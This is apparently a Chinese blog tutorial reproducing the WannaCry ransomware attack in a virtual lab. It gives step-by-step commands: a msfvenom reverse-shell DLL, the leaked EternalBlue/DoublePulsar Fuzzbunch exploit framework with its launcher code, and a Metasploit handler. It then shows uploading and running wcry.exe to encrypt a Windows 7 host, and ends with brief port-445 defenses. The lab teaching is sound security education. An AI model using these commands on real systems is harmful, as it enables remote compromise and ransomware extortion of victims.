[系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
作者前文介绍了OllyDbg动态调试工具,包括INT3断点、反调试、硬件断点和内存断点。接下来的系列将分享新知识,最近WannaRen勒索软件爆发(下图是安天的分析攻击流程),其名称和功能与WannaCry相似,所以接下来作者将连续分享WannaCry勒索病毒的复现及分析,第一篇文章将采用Github资源实现永恒之蓝漏洞利用及Windows7系统文件加密。
这些基础性知识不仅和系统安全相关,同样与我们身边常用的软件、文档、操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了B站yxfzedu、安全网站和参考文献中的文章,并结合自己的经验和实践进行撰写,在此感谢这些大佬们。
文章目录:
一.WannaCry背景
二.实验环境搭建
1.安装Win7系统和Win server 2003系统
2.Windows Server 2003系统中配置Python环境
三.Kali生成DLL攻击文件
四.利用永恒之蓝漏洞获取shell
1.Win Server配置永恒之蓝
2.Kali反弹shell
3.实现Doublepulsar注入
五.上传勒索病毒并实现攻击
六.防御措施
七.总结
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~推荐前文:网络安全自学篇系列-100篇
https://blog.csdn.net/eastmount/category_9183790.htm
作者的github资源:
WannaCry:https://github.com/eastmountyxz/
WannaCry-Experiment
逆向分析:https://github.com/eastmountyxz/
SystemSecurity-ReverseAnalysis
网络安全:https://github.com/eastmountyxz/
NetworkSecuritySelf-study
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
一.WannaCry背景
传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息
二.实验环境搭建
攻击机1:
Kali-linux-2019.2 IP:192.168.44.138
攻击机2:
Win-server-2003 IP:192.168.44.131
受害主机:
Win7 64位 IP:192.168.44.132
Python 2.6
Python32-221.win32-py2.6
Shadowbroker-master
https://github.com/misterch0c/shadowbroker
Wcry.exe
配置Windows Server 2003、Kali、Windows7实验环境
Kali检测受害主机445端口(SMB协议)是否开启
运行永恒之蓝Python脚本
利用DLL后门文件进行Doublepulsar注入
Metaploit获取受害主机的shell
运行wcry.exe母体程序,实现勒索和文件加密
攻击机1:
Kali-linux-2019.2 IP:192.168.44.138
攻击机2:
Win-server-2003 IP:192.168.44.131
受害主机:
Win7 64位 IP:192.168.44.132
2.Windows Server 2003系统中配置Python环境
Python 2.6
https://www.python.org/download/releases/2.6/Python32-221.win32-py2.6
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/Shadowbroker-master工具包
https://github.com/misterch0c/shadowbroker
python c:\test\windows\fb.py
三.Kali生成DLL攻击文件
nmap -sS 192.168.44.132
msfvenom -p windows/x64/meterpreter/
reverse_tcp LHOST=192.168.44.138 LPORT=6666 -f dll > abc.dll
-p指定使用模块类型,LSHOT指定本地IP,LPORT指定本地端口,-f指定文件类型
四.利用永恒之蓝漏洞获取shell
1.Win Server配置永恒之蓝
默认目标IP地址:Default Targer IP Address,靶机IP
默认回弹IP地址:Default Callback IP Address,攻击机1IP地址
是否使用重定向:Use Rdirection [yes] :no
新建项目:Create a New Project
新建项目命名:New Project Name:test1
其他选项,全部默认,直接enter即可
加载永恒之蓝:use Eternalblue
设置受害主机操作系统:Windows7 x64
模式mode:选择FB(该模式下进行交互性参数输入)
其他大部分为确认信息,参数可设置为默认或自行修改
#!/usr/bin/python2.6
import code
import os
import sys
from fuzzbunch import env
"""
Set up core paths
"""
(FB_FILE, FB_DIR, EDFLIB_DIR) = env.setup_core_paths( os.path.realpath(__file__))
"""
Make sure our libraries are setup properly
"""
#env.setup_lib_paths(os.path.abspath(__file__), EDFLIB_DIR)
"""
Plugin directories
"""
PAYLOAD_DIR = os.path.join(FB_DIR, "payloads")
EXPLOIT_DIR = os.path.join(FB_DIR, "exploits")
TOUCH_DIR = os.path.join(FB_DIR, "touches")
IMPLANT_DIR = os.path.join(FB_DIR, "implants")
LP_DIR = os.path.join(FB_DIR, "listeningposts")
EDE_DIR = os.path.join(FB_DIR, "ede-exploits")
TRIGGER_DIR = os.path.join(FB_DIR, "triggers")
SPECIAL_DIR = os.path.join(FB_DIR, "specials")
"""
Fuzzbunch directories
"""
LOG_DIR = os.path.join(FB_DIR, "logs")
FB_CONFIG = os.path.join(FB_DIR, "Fuzzbunch.xml")
from fuzzbunch.edfplugin import EDFPlugin
#from fuzzbunch.edeplugin import EDEPlugin
from fuzzbunch.fuzzbunch import Fuzzbunch
from fuzzbunch.pluginfinder import addplugins, PluginfinderError
from fuzzbunch import exception
from fuzzbunch.daveplugin import DAVEPlugin
from fuzzbunch.deployablemanager import DeployableManager
def do_interactive(fb):
gvars = globals()
gvars['quit'] = (lambda *x: fb.io.print_error("Press Ctrl-D to quit"))
gvars['exit'] = gvars['quit']
fb.io.print_warning("Dropping to Interactive Python Interpreter")
fb.io.print_warning("Press Ctrl-D to exit")
code.interact(local=gvars, banner="")
def main(fb):
#fb.printbanner()
fb.cmdqueue.append("retarget")
while 1:
try:
fb.cmdloop()
except exception.Interpreter:
do_interactive(fb)
else:
break
def load_plugins(fb):
fb.io.pre_input(None)
fb.io.print_msg("Loading Plugins")
fb.io.post_input()
addplugins(fb, "Exploit", EXPLOIT_DIR, EDFPlugin)
addplugins(fb, "Payload", PAYLOAD_DIR, EDFPlugin)
addplugins(fb, "Touch", TOUCH_DIR, EDFPlugin)
addplugins(fb, "ImplantConfig", IMPLANT_DIR, EDFPlugin)
addplugins(fb, "ListeningPost", LP_DIR, EDFPlugin)
addplugins(fb, "Special", SPECIAL_DIR, DAVEPlugin, DeployableManager)
# addplugins(fb, "EDE-Exploit", EDE_DIR, EDEPlugin)
# addplugins(fb, "Trigger", TRIGGER_DIR, EDFPlugin)
@exception.exceptionwrapped
def setup_and_run(config, fbdir, logdir):
# Setup fb globally so that we can debug interactively if we want
global fb
fb = Fuzzbunch(config, fbdir, logdir)
fb.printbanner()
load_plugins(fb)
main(fb)
if __name__ == "__main__":
setup_and_run(FB_CONFIG, FB_DIR, LOG_DIR)
2.Kali反弹shell
接着设置Kali系统,通过Metasploit等待返回的shell,具体步骤如下:
加载msfconsole
使用handle操作,命令为:
use exploit/multi/handler
设置Paylod,命令为:
set payload windows/x64/meterpreter/reverse_tcp
设置本地IP地址,命令为:
set LHOST 192.168.44.138
设置本地端口,命令为:
set LPORT 6666
开启监听run
3.实现Doublepulsar注入
接下来Kali处于监听状态,我们在Windows Server 2003中进行Doublepulsar注入(双倍脉冲)。具体流程如下:
第一步,输入use Doublepulsar加载双倍脉冲注入。
第二步,设置相关参数,包括选择SMB协议,后门利用方法为RunDLL。
选择协议:SMB
后门方法:RunDll
设置DLL路径为:C:\abc.dll
默认操作输入Enter键
注入成功后显示“Doublepulsar succeeded”。
第三步,返回kali查看meterpreter,此时成功获取受害机shell。
dir
getuid
第四步,在Kali中查看Win7系统盘目录如下图所示。
五.上传勒索病毒并实现攻击
第一步,在Kali中上传勒索病毒程序wcry.exe至受害主机。
upload /root/wcry.exe c:\
上传之后如下图所示:
注意,如果程序运行时间长,可能需要重新执行相关命令,我们再重新回顾下这些核心命令。
Kali
Win Server
第二步,获取受害主机shell,如果出现中文乱码输入“chcp 65001”设置编码。接着我们运行Win7上面的病毒程序wcry.exe。
shell
chcp 65001
dir
wcry.exe
运行前的受害主机界面如下图所示:
运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。
加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。
b.wnry: 中招敲诈者后桌面壁纸
c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
f.wnry: 可免支付解密的文件列表
r.wnry: 提示文件,包含中招提示信息
s.wnry: zip文件,包含Tor客户端
t.wnry: 测试文件
u.wnry: 解密程序
六.防御措施
勒索软件防御常见的措施如下:
开启系统防火墙
关闭445、139等端口连接
开启系统自动更新,下载并更新补丁,及时修复漏洞
安装安全软件,开启主动防御进行拦截查杀
如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等
由于WannaCry勒索病毒主要通过445端口入侵计算机,关闭的方法如下:
控制面板–>windows防火墙—>高级选项–>入站规则
新建规则–>选择端口–>指定端口号445
选择阻止连接–>配置文件全选–>规则名称–>成功关闭
实验在虚拟机中进行,也需要关闭共享文件夹功能,如下图所示。
七.总结
写到这里,这篇WannaCry勒索病毒复现和分析的文章就介绍结束了,希望对您有所帮助。
一.WannaCry背景
二.实验环境搭建
三.Kali生成DLL攻击文件
四.利用永恒之蓝漏洞获取shell
1.Win Server配置永恒之蓝
2.Kali反弹shell
3.实现Doublepulsar注入
五.上传勒索病毒并实现攻击
六.防御措施
同时,您可能感觉到了调用别人的Python资源方法比较繁琐,我们是否能直接调用MS17-010,再上传勒索病毒实现攻击呢?并且作者后续会深入地逆向分析该勒索病毒的原理及调用关系,也推荐大家阅读参考文献大佬们的文章。继续加油~
这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
前文回顾(下面的超链接可以点击喔):
[系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。2021年继续加油!
(By:Eastmount 2021-03-21 周日夜于武汉)
参考资料:
[1] 勒索病毒“WannaCry”之复现过程(永恒之蓝)- weixin_40950781
[2] Windows再曝“WannaCry”级漏洞 CVE-2019-0708,专治 XP、Win7 - FB客户
[3] 对WannaCry的深度分析 - 鬼手56
[4] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
[5] WannaCry蠕虫详细分析 - FreeBuf腾讯
[6] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
[7] 威胁预警 | 蠕虫级漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平台
[8] [反病毒]病毒分析实战篇1–远控病毒分析 - i春秋老师
[9] wannacry,petaya,meze等病毒样本 - CSDN下载